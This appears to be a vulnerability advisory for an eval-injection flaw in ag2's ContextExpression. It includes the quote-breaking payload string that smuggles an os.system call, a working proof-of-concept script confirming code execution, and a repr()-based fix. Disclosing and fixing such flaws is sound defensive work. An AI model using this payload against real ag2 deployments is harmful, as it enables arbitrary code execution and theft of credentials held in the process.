Unsafe eval on attacker-controlled ContextVariables via ContextExpression enables RCE
Description
An eval injection vulnerability in ag2's ContextExpression allows an attacker who can influence any ContextVariable value to execute arbitrary Python code in the ag2 process.
Details
The substitution is performed by a raw f-string with no escaping:
# context_expression.py:213 (ag2 v0.12.0)
elif isinstance(var_value, str):
formatted_value = f"'{var_value}'" # ← no repr(), no escapingA single-quote character (') in var_value closes the surrounding quote, breaking the attacker-controlled content out of the string literal context and into live Python expression syntax. The AST whitelist was validated against the original template — not against the post-substitution expression — so the injection bypasses the safety check entirely.
Attack scenario:
- An attacker with access to any swarm context variable (via API, database row, JSON-file persistence, or tool output) stores the following string as the value of variable
x:
`` ' or __import__('os').system('COMMAND') or ' ``
- Any later call to
expr.evaluate(cv)whereexpr = ContextExpression('${x} == "ok"')substitutes the variable:
``python eval_expr = "'' or __import__('os').system('COMMAND') or '' == \"ok\"" ``
eval(eval_expr)is called. Since''is falsy,orevaluates__import__('os').system('COMMAND')— arbitrary code executes in the ag2 process. The expression returnsFalse, soevaluate()returns normally with no exception.
Vulnerable code path:
ContextVariables.get(var_name) → returns attacker string
f"'{var_value}'" → single-quote escape, no encoding
eval_expr = template.replace(...) → injects into expression
eval(eval_expr) → executes arbitrary PythonPoC
The following script demonstrates confirmed RCE. Running it creates /tmp/autogen_cve_poc.txt containing the output of uname -a — a non-destructive, unambiguous confirmation that code executes in the process context.
#!/usr/bin/env python3
"""
Injection mechanics:
Template: ${x} == "ok"
Code: formatted = f"'{var_value}'" # raw wrap, no escaping
eval_expr = template.replace("${x}", formatted)
eval(eval_expr)
Payload: var_value = "' or __import__('os').system('...') or '"
Result: eval('' or __import__('os').system('...') or '' == "ok")
→ os.system() executes, returns 0, expression → False
"""
import os, sys, warnings
from pathlib import Path
OUT = Path("/tmp/autogen_cve_poc.txt")
# Payload breaks out of the f"'{var_value}'" wrapping without parentheses.
# '' is falsy → or short-circuits to __import__('os').system(...) → executes.
PAYLOAD_VALUE = (
"' or __import__('os').system("
f"'uname -a > {OUT} 2>&1') or '"
)
def main() -> int:
try:
from autogen.agentchat.group.context_expression import ContextExpression
from autogen.agentchat.group.context_variables import ContextVariables
except ImportError as e:
print(f"[FAIL] {e}"); return 1
if OUT.exists(): OUT.unlink()
formatted = f"'{PAYLOAD_VALUE}'"
eval_expr = '${x} == "ok"'.replace("${x}", formatted)
print(f"[*] Substituted eval_expr:\n {eval_expr!r}")
cv = ContextVariables(data={"x": PAYLOAD_VALUE})
expr = ContextExpression('${x} == "ok"')
result = exc = None
with warnings.catch_warnings():
warnings.simplefilter("ignore")
try:
result = expr.evaluate(cv)
except Exception as e:
exc = e
print(f"[*] evaluate() → result={result!r} exception={exc!r}")
if OUT.exists() and OUT.stat().st_size > 0:
content = OUT.read_text().strip()
print(f"[PASS] FULL RCE CONFIRMED — {OUT}:")
print(f" {content[:240]}")
return 0
print(f"[FAIL] {OUT} not created. exc={exc}")
return 1
if __name__ == "__main__":
sys.exit(main())Impact
Arbitrary Python code execution in the ag2 process whenever a ContextVariable containing attacker-controlled content is evaluated by a ContextExpression.
In agent deployments, ContextVariables are routinely populated by untrusted sources — LLM responses, tool return values, persisted state, user messages, and A2A/MCP traffic — so any deployment that branches on context state is reachable.
A successful exploit yields full host-level code execution with the privileges of the ag2 process: exfiltration of LLM API keys and tool credentials held in memory, read/write access to the host filesystem, lateral movement via registered tools, and denial of service.
Mitigation
Immediate fix (one-line change):
# context_expression.py:213 — replace:
elif isinstance(var_value, str):
formatted_value = f"'{var_value}'" # vulnerable
# with:
elif isinstance(var_value, str):
formatted_value = repr(var_value) # safe: repr() escapes all quotesrepr("' or __import__('os').system('x') or '") produces "\"' or __import__('os').system('x') or '\"" — the injected content stays inside a string literal and cannot break into expression context.
Defence-in-depth:
- After variable substitution, re-parse and re-validate the full
eval_expragainst the same AST whitelist used at construction time, before callingeval(). - Consider replacing
eval()with a purpose-built safe expression evaluator (e.g.,simpleeval, or a restricted-AST walker) that only permits Boolean algebra over named context variables without any function calls. - For deployments that persist
ContextVariablesto disk or DB, sanitise variable values at write time rather than relying on read-time safety.
Affected components
| File | Line | Code |
|---|---|---|
autogen/agentchat/group/context_expression.py | 213 | formatted_value = f"'{var_value}'" |
autogen/agentchat/group/context_expression.py | 224 | return eval(eval_expr) |
Credits
Reported by [GitHub: @beanduan22].
References
- Vulnerable file:
autogen/agentchat/group/context_expression.py - ag2 project: github.com/
ag2ai/ ag2